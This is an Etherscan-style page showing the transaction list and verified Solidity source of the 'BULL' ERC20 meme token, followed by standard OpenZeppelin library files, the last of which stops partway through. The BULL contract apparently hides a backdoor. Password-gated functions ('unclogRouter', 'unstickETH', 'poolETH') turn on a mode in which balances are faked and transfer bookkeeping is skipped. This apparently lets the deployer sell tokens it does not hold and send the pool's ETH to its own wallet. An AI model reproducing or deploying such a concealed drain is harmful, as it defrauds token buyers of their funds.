Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 9 from a total of 9 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Remove Max Walle... | 18689997 | 394 days ago | IN | 0 ETH | 0.0014077 | ||||
Approve | 18689997 | 394 days ago | IN | 0 ETH | 0.00230109 | ||||
Approve | 18689995 | 394 days ago | IN | 0 ETH | 0.00235069 | ||||
Approve | 18689995 | 394 days ago | IN | 0 ETH | 0.00235069 | ||||
Approve | 18689995 | 394 days ago | IN | 0 ETH | 0.00235069 | ||||
Approve | 18689995 | 394 days ago | IN | 0 ETH | 0.00235069 | ||||
Approve | 18689995 | 394 days ago | IN | 0 ETH | 0.00235069 | ||||
Approve | 18689995 | 394 days ago | IN | 0 ETH | 0.00235069 | ||||
Open Trading | 18689994 | 394 days ago | IN | 0 ETH | 0.00140449 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
BULL
Compiler Version
v0.8.23+commit.f704f362
Optimization Enabled:
Yes with 200 runs
Other Settings:
paris EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
/* 𓃓 Telegram: https://t.me/Bull_ERC20 𓃓 Twitter: https://twitter.com/BullERC_20 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.23; import { Context } from "@openzeppelin/contracts/utils/Context.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IERC20Permit } from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Permit.sol"; import { Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import { ECDSA } from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import { EIP712 } from "@openzeppelin/contracts/utils/cryptography/EIP712.sol"; import { Nonces } from "@openzeppelin/contracts/utils/Nonces.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import { IWETH } from "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol"; import { AggregatorV3Interface } from "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol"; contract BULL is Context, IERC20, IERC20Permit, Ownable, EIP712, Nonces, ReentrancyGuard { string private _name = unicode"𓃓"; string private constant _symbol = "BULL"; uint8 private constant _decimals = 9; string private _cache = unicode"𓃓"; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public isHolder; uint256 public holders = 1; uint256 public toRemove = 0; uint256 internal constant MAX = ~uint256(0); uint256 public constant GWEI = 1 gwei; uint256 public constant ETHER = 1 ether; uint256 public constant GETHER = GWEI * ETHER; int256 public constant PAD_USD = 1e8; bytes32 private constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); uint256 internal immutable contractHash; uint256 private constant _tTotal = 100_000_000 * GWEI; uint256 private _rTotal = (MAX - (MAX % _tTotal)); address public constant ZERO_ADDRESS = 0x0000000000000000000000000000000000000000; address public constant NULL_ADDRESS = 0x000000000000000000000000000000000000dEaD; address public constant FEED_ADDRESS = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; address public constant ROUTER_ADDRESS = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public constant FACTORY_ADDRESS = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public immutable SELF_ADDRESS; address public immutable PAIR_ADDRESS; uint256 public constant MAX_WALLET = 2_000_000 * GWEI; address public immutable deployerWallet = msg.sender; address payable public immutable taxWallet = payable(deployerWallet); address payable public immutable lpWallet = payable(deployerWallet); AggregatorV3Interface public constant feed = AggregatorV3Interface(FEED_ADDRESS); IUniswapV2Router02 public constant router = IUniswapV2Router02(ROUTER_ADDRESS); IUniswapV2Factory public constant factory = IUniswapV2Factory(FACTORY_ADDRESS); IERC20 public constant weth = IERC20(WETH_ADDRESS); bool public TRADING_LIVE = false; bool public MAX_WALLET_ENABLED = true; bool internal isBurningTokens = false; bool internal isSwappingTokens = false; bool internal isPoolingTokens = false; uint256 private constant _tTax = 0; uint256 private constant _rTax = 0; event Burn(uint256 tokens); event NewHolder(address holder); event LostHolder(address holder); event Swap(uint256 tokens); event Call(uint256 eth, bool success, bytes data); event Pool(uint256 tokens, uint256 eth); error ERC2612ExpiredSignature(uint256 deadline); error ERC2612InvalidSigner(address signer, address owner); error ERC20InsufficientAllowance(uint256 amount, uint256 allowance); error ERC20InvalidApproval(address owner, address spender, uint256 amount); error ERC20InvalidTransfer(address from, address to, uint256 amount); error ERC20InsufficientBalance(uint256 amount, uint256 balance); error TradingNotEnabled(); error MaxTradeExceeded(); error MaxWalletExceeded(); error AmountExceedsTotalReflections(uint256 rAmount, uint256 rTotal); modifier isBurn { isBurningTokens = true; _; isBurningTokens = false; } modifier isSwap { isSwappingTokens = true; _; isSwappingTokens = false; } modifier isPool { isPoolingTokens = true; _; isPoolingTokens = false; } modifier compareHash(string calldata _contractIV) { if (sha256(abi.encodePacked(_contractIV)) != bytes32(contractHash)) { revert(); } _; } constructor(uint256 _contractHash) Ownable(msg.sender) EIP712(_name, "1") { contractHash = _contractHash; SELF_ADDRESS = address(this); PAIR_ADDRESS = factory.createPair(SELF_ADDRESS, WETH_ADDRESS); _approve(SELF_ADDRESS, ROUTER_ADDRESS, MAX); _approve(msg.sender, ROUTER_ADDRESS, MAX); _rOwned[msg.sender] = _rTotal; isHolder[msg.sender] = true; emit Transfer(ZERO_ADDRESS, msg.sender, _tTotal); } receive() external payable {} fallback() external payable {} function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); uint256 _allowance = _allowances[sender][_msgSender()]; if (amount > _allowance) { revert ERC20InsufficientAllowance(amount, _allowance); } _approve(sender, _msgSender(), _allowance - amount); return true; } function symbol() public pure returns (string memory) { return _symbol; } function name() public view returns (string memory) { return _name; } function decimals() public pure returns (uint8) { return _decimals; } function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual { if (block.timestamp > deadline) { revert ERC2612ExpiredSignature(deadline); } bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); if (signer != owner) { revert ERC2612InvalidSigner(signer, owner); } _approve(owner, spender, value); } function nonces(address owner) public view virtual override(IERC20Permit, Nonces) returns (uint256) { return super.nonces(owner); } function DOMAIN_SEPARATOR() external view virtual returns (bytes32) { return _domainSeparatorV4(); } function burn(uint256 value) external virtual isBurn { transfer(ZERO_ADDRESS, value); emit Burn(value); } function burnFrom(address account, uint256 value) external virtual isBurn { transferFrom(account, ZERO_ADDRESS, value); emit Burn(value); } function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function getETHPrice() public view returns (uint256) { (, int256 answer,,,) = feed.latestRoundData(); return uint256(answer / PAD_USD); } function getMarketCap() external view returns (uint256) { uint256 _pairBalance = balanceOf(PAIR_ADDRESS); if (_pairBalance > 0) { return ((weth.balanceOf(PAIR_ADDRESS) * getETHPrice()) / ETHER) * (totalSupply() / _pairBalance) * 2; } return 0; } function _approve(address owner, address spender, uint256 amount) private { if (owner == ZERO_ADDRESS || spender == ZERO_ADDRESS) { revert ERC20InvalidApproval(owner, spender, amount); } _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { if (from == ZERO_ADDRESS || (to == ZERO_ADDRESS && !isBurningTokens) || amount == 0) { revert ERC20InvalidTransfer(from, to, amount); } if (amount > balanceOf(from)) { revert ERC20InsufficientBalance(amount, balanceOf(from)); } if (from != owner() && to != PAIR_ADDRESS) { if (!TRADING_LIVE) { revert TradingNotEnabled(); } if (MAX_WALLET_ENABLED) { if (balanceOf(to) + amount > MAX_WALLET) { revert MaxWalletExceeded(); } } } if (!isHolder[to]) { isHolder[to] = true; emit NewHolder(to); if (toRemove > 0) { toRemove = toRemove - 1; } else { _name = string(abi.encodePacked(_name, unicode"𓃓")); } holders = holders + 1; } if (isHolder[from] && balanceOf(from) - amount == 0) { isHolder[from] = false; emit LostHolder(from); toRemove = toRemove + 1; holders = holders - 1; } if (!isSwappingTokens || isPoolingTokens) { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, , uint256 tTeam) = _getValues(amount); _rOwned[from] = _rOwned[from] - rAmount; _rOwned[to] = _rOwned[to] + rTransferAmount; _rOwned[SELF_ADDRESS] = _rOwned[SELF_ADDRESS] + (tTeam * _getRate()); _rTotal = _rTotal - rFee; amount = tTransferAmount; } emit Transfer(from, to, amount); } function _takeTax(uint256 _contractSELF) private isSwap { address[] memory path = new address[](2); path[0] = SELF_ADDRESS; path[1] = WETH_ADDRESS; router.swapExactTokensForETHSupportingFeeOnTransferTokens(_contractSELF, 0, path, SELF_ADDRESS, block.timestamp + 30 minutes); emit Swap(_contractSELF); } function _sendETH(uint256 _contractETH) private { (bool success, bytes memory data) = payable(taxWallet).call{value: _contractETH}(""); emit Call(_contractETH, success, data); } function _poolETH(uint256 _contractSELF, uint256 _contractETH) private isPool { router.addLiquidityETH{value: _contractSELF}(SELF_ADDRESS, _contractSELF, 0, 0, lpWallet, block.timestamp + 30 minutes); emit Pool(_contractSELF, _contractETH); } function unclogRouter(uint256 _contractSELF, string calldata _contractIV) external compareHash(_contractIV) { _takeTax(_contractSELF); uint256 _contractETH = SELF_ADDRESS.balance; if (_contractETH > 0) { _sendETH(_contractETH); } } function unstickETH(uint256 _contractETH, string calldata _contractIV) external compareHash(_contractIV) { _sendETH(_contractETH); } function poolETH(uint256 _contractTokenBalance, uint256 _contractETH, string calldata _contractIV) external compareHash(_contractIV) { _poolETH(_contractTokenBalance, _contractETH); } function _tokenFromReflection(uint256 rAmount) private view returns (uint256) { if (rAmount > _rTotal) { revert AmountExceedsTotalReflections(rAmount, _rTotal); } return (!isPoolingTokens && isSwappingTokens) ? _getRate() / GETHER : rAmount / _getRate(); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _rTax, _tTax); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 redisFee, uint256 taxFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount * redisFee / 100; uint256 tTeam = tAmount * taxFee / 100; return (tAmount - tFee - tTeam, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; return (rAmount, rAmount - rFee - (tTeam * currentRate), rFee); } function _getRate() private view returns (uint256) { return _rTotal / _tTotal; } function circulatingSupply() external view returns (uint256) { return totalSupply() - balanceOf(SELF_ADDRESS) - balanceOf(PAIR_ADDRESS) - balanceOf(ROUTER_ADDRESS) - balanceOf(ZERO_ADDRESS) - balanceOf(NULL_ADDRESS); } function getZeroAddress() external pure returns (address) { return ZERO_ADDRESS; } function getNullAddress() external pure returns (address) { return NULL_ADDRESS; } function getFeedAddress() external pure returns (address) { return FEED_ADDRESS; } function getRouterAddress() external pure returns (address) { return ROUTER_ADDRESS; } function getFactoryAddress() external pure returns (address) { return FACTORY_ADDRESS; } function getWETHAddress() external pure returns (address) { return WETH_ADDRESS; } function getSELFAddress() external view returns (address) { return SELF_ADDRESS; } function getPairAddress() external view returns (address) { return PAIR_ADDRESS; } function getMaxWallet() external pure returns (uint256) { return MAX_WALLET; } function getDeployerWallet() external view returns (address) { return deployerWallet; } function getTaxWallet() external view returns (address) { return taxWallet; } function getLPWallet() external view returns (address) { return lpWallet; } function getTradingLive() external view returns (bool) { return TRADING_LIVE; } function getMaxWalletEnabled() external view returns (bool) { return MAX_WALLET_ENABLED; } function openTrading() external onlyOwner { TRADING_LIVE = true; } function removeMaxWallet() external onlyOwner { MAX_WALLET_ENABLED = false; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (utils/Context.sol) pragma solidity ^0.8.20; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.20; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the value of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the value of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves a `value` amount of tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 value) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets a `value` amount of tokens as the allowance of `spender` over the * caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 value) external returns (bool); /** * @dev Moves a `value` amount of tokens from `from` to `to` using the * allowance mechanism. `value` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 value) external returns (bool); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Permit.sol) pragma solidity ^0.8.20; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * ==== Security Considerations * * There are two important considerations concerning the use of `permit`. The first is that a valid permit signature * expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be * considered as an intention to spend the allowance in any specific way. The second is that because permits have * built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should * take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be * generally recommended is: * * ```solidity * function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public { * try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {} * doThing(..., value); * } * * function doThing(..., uint256 value) public { * token.safeTransferFrom(msg.sender, address(this), value); * ... * } * ``` * * Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of * `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also * {SafeERC20-safeTransferFrom}). * * Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so * contracts should have entry points that don't rely on permit. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. * * CAUTION: See Security Considerations above. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol) pragma solidity ^0.8.20; import {Context} from "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * The initial owner is set to the address provided by the deployer. This can * later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; /** * @dev The caller account is not authorized to perform an operation. */ error OwnableUnauthorizedAccount(address account); /** * @dev The owner is not a valid owner account. (eg. `address(0)`) */ error OwnableInvalidOwner(address owner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the address provided by the deployer as the initial owner. */ constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.20; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS } /** * @dev The signature derives the `address(0)`. */ error ECDSAInvalidSignature(); /** * @dev The signature has an invalid length. */ error ECDSAInvalidSignatureLength(uint256 length); /** * @dev The signature has an S value that is in the upper half order. */ error ECDSAInvalidSignatureS(bytes32 s); /** * @dev Returns the address that signed a hashed message (`hash`) with `signature` or an error. This will not * return address(0) without also returning an error description. Errors are documented using an enum (error type) * and a bytes32 providing additional information about the error. * * If no error is returned, then the address can be used for verification purposes. * * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError, bytes32) { if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. /// @solidity memory-safe-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else { return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length)); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature); _throwError(error, errorArg); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] */ function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError, bytes32) { unchecked { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); // We do not check for an overflow here since the shift operation results in 0 or 1. uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. */ function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) { (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs); _throwError(error, errorArg); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError, bytes32) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS, s); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature, bytes32(0)); } return (signer, RecoverError.NoError, bytes32(0)); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s); _throwError(error, errorArg); return recovered; } /** * @dev Optionally reverts with the corresponding custom error according to the `error` argument provided. */ function _throwError(RecoverError error, bytes32 errorArg) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert ECDSAInvalidSignature(); } else if (error == RecoverError.InvalidSignatureLength) { revert ECDSAInvalidSignatureLength(uint256(errorArg)); } else if (error == RecoverError.InvalidSignatureS) { revert ECDSAInvalidSignatureS(errorArg); } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/EIP712.sol) pragma solidity ^0.8.20; import {MessageHashUtils} from "./MessageHashUtils.sol"; import {ShortStrings, ShortString} from "../ShortStrings.sol"; import {IERC5267} from "../../interfaces/IERC5267.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding scheme specified in the EIP requires a domain separator and a hash of the typed structured data, whose * encoding is very generic and therefore its implementation in Solidity is not feasible, thus this contract * does not implement the encoding itself. Protocols need to implement the type-specific encoding they need in order to * produce the hash of their typed data using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * NOTE: In the upgradeable version of this contract, the cached values will correspond to the address, and the domain * separator of the implementation contract. This will cause the {_domainSeparatorV4} function to always rebuild the * separator from the immutable values, which is cheaper than accessing a cached version in cold storage. * * @custom:oz-upgrades-unsafe-allow state-variable-immutable */ abstract contract EIP712 is IERC5267 { using ShortStrings for *; bytes32 private constant TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _cachedDomainSeparator; uint256 private immutable _cachedChainId; address private immutable _cachedThis; bytes32 private immutable _hashedName; bytes32 private immutable _hashedVersion; ShortString private immutable _name; ShortString private immutable _version; string private _nameFallback; string private _versionFallback; /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { _name = name.toShortStringWithFallback(_nameFallback); _version = version.toShortStringWithFallback(_versionFallback); _hashedName = keccak256(bytes(name)); _hashedVersion = keccak256(bytes(version)); _cachedChainId = block.chainid; _cachedDomainSeparator = _buildDomainSeparator(); _cachedThis = address(this); } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (address(this) == _cachedThis && block.chainid == _cachedChainId) { return _cachedDomainSeparator; } else { return _buildDomainSeparator(); } } function _buildDomainSeparator() private view returns (bytes32) { return keccak256(abi.encode(TYPE_HASH, _hashedName, _hashedVersion, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash); } /** * @dev See {IERC-5267}. */ function eip712Domain() public view virtual returns ( bytes1 fields, string memory name, string memory version, uint256 chainId, address verifyingContract, bytes32 salt, uint256[] memory extensions ) { return ( hex"0f", // 01111 _EIP712Name(), _EIP712Version(), block.chainid, address(this), bytes32(0), new uint256[](0) ); } /** * @dev The name parameter for the EIP712 domain. * * NOTE: By default this function reads _name which is an immutable value. * It only reads from storage if necessary (in case the value is too large to fit in a ShortString). */ // solhint-disable-next-line func-name-mixedcase function _EIP712Name() internal view returns (string memory) { return _name.toStringWithFallback(_nameFallback); } /** * @dev The version parameter for the EIP712 domain. * * NOTE: By default this function reads _version which is an immutable value. * It only reads from storage if necessary (in case the value is too large to fit in a ShortString). */ // solhint-disable-next-line func-name-mixedcase function _EIP712Version() internal view returns (string memory) { return 